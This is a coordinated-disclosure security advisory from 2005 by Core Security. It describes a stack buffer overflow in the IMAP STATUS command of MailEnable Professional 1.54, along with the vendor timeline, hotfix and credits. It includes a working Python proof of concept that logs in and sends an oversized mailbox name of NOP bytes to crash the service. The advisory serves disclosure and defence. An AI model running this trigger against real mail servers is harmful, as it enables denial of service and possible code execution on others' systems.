Core Security Technologies - Corelabs Advisory
                  http://www.coresecurity.com/corelabs/

                 MailEnable Buffer Overflow Vulnerability



Date Published: 2005-07-12

Last Update: 2005-07-12

Advisory ID: CORE-2005-0629

Bugtraq ID: None currently assigned

CVE Name: None currently assigned

Title: MailEnable Buffer Overflow Vulnerability

Class: Boundary Error Condition (Stack Buffer Overflow)

Remotely Exploitable: Yes

Locally Exploitable: Yes

Advisory URL:
 http://www.coresecurity.com/common/showdoc.php?idx=467&idxseccion=10

Vendors contacted:
- MailEnable
  2005-06-30: Notification to vendor.
  2005-06-30: Vendor acknowledged notification and provided a fix.

Release Mode: COORDINATED RELEASE


*Vulnerability Description:*

 MailEnable is a mail server software which provides a messaging
 platform for Microsoft Windows. For more information about
 MailEnable see  http://www.mailenable.com/

 A buffer overflow vulnerability was found in the status command.
 Remote exploitation of this vulnerability could allow an attacker
 to execute arbitrary code with System privileges. The status command
 requires an authenticated session, so valid credentials are required.
 

*Vulnerable Packages:*

 MailEnable Professional edition version 1.54

 Tested on:
 . Windows 2000 sp0
 . Windows 2000 sp2
 . Windows XP sp0


*Solution/Vendor Information/Workaround:*

 This issue was addressed by the last hotfix for MailEnable (dated
 30th May 2005). The hotfix can be downloaded from:
 http://www.mailenable.com/hotfix/


*Credits:*

 This vulnerability was found by Ariel Sanchez from Core Security
 Technologies.

 We wish to thank Peter Fregon from MailEnable for his quick response
 to this issue.


*Technical Description - Exploit/Concept Code:*

 This vulnerability was found in the Imapd daemon service of MailEnable
 Professional edition version 1.54.  
 
 The vulnerability can be triggered by giving a long mailbox name
 argument to the status command. This will cause a stack based buffer
 overflow, containing null bytes (\x00).

 The following is a Python proof-of-concept code that will trigger the
 vulnerability:

----------------------------------------------------------------------
#
# POC about imapd mailenable bug in status command
#

import sys
import imaplib

class poc:

    def __init__(self,host,loginimap,passimap):
        self.host=host
        self.loginimap=loginimap
        self.passimap=passimap

    def exploit(self):
        print "Please wait"
        
        connect = imaplib.IMAP4(self.host)
        connect.login(self.loginimap,self.passimap)
        nops='\x00'
        nops+='\x90'*10540
        try:
            typ, data = connect.status(nops,'(UIDNEXT UIDVALIDITY 
MESSAGES UNSEEN RECENT)')
        except Exception,e:
            print "Service down!"
        return 0    

if(len(sys.argv) < 4):
    print "Need 3 arguments, ./poc.py host user pass"
    sys.exit(1)

exp=poc(sys.argv[1],sys.argv[2],sys.argv[3])
exp.exploit()
----------------------------------------------------------------------


*About Corelabs*

 CoreLabs, the research center of Core Security Technologies, is charged
 with anticipating the future needs and requirements for information
 security technologies.
 We conduct our research in several important areas of computer security
 including system vulnerabilities, cyber attack planning and simulation,
 source code auditing, and cryptography. Our results include problem
 formalization, identification of vulnerabilities, novel solutions and
 prototypes for new technologies. CoreLabs regularly publishes security
 advisories, technical papers, project information and shared software
 tools for public use at:
 http://www.coresecurity.com/corelabs/


*About Core Security Technologies*

 Core Security Technologies develops strategic security solutions for
 Fortune 1000 corporations, government agencies and military
 organizations. The company offers information security software and
 services designed to assess risk and protect and manage information
 assets. Headquartered in Boston, MA, Core Security Technologies can
 be reached at 617-399-6980 or on the Web at:
 http://www.coresecurity.com.

 To learn more about CORE IMPACT, the first comprehensive penetration
 testing product, visit:
 http://www.coresecurity.com/products/coreimpact

*DISCLAIMER:*

 The contents of this advisory are copyright (c) 2005 CORE Security
 Technologies and (c) 2005 Corelabs, and may be distributed freely
 provided that no fee is charged for this distribution and proper
 credit is given.

$Id: MailEnable-advisory.txt,v 1.9 2005/07/12 22:04:23 carlos Exp $